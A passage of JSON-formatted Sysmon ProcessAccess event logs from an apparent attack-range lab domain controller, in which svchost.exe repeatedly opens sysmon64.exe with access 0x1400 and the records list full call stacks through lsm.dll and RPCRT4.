C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 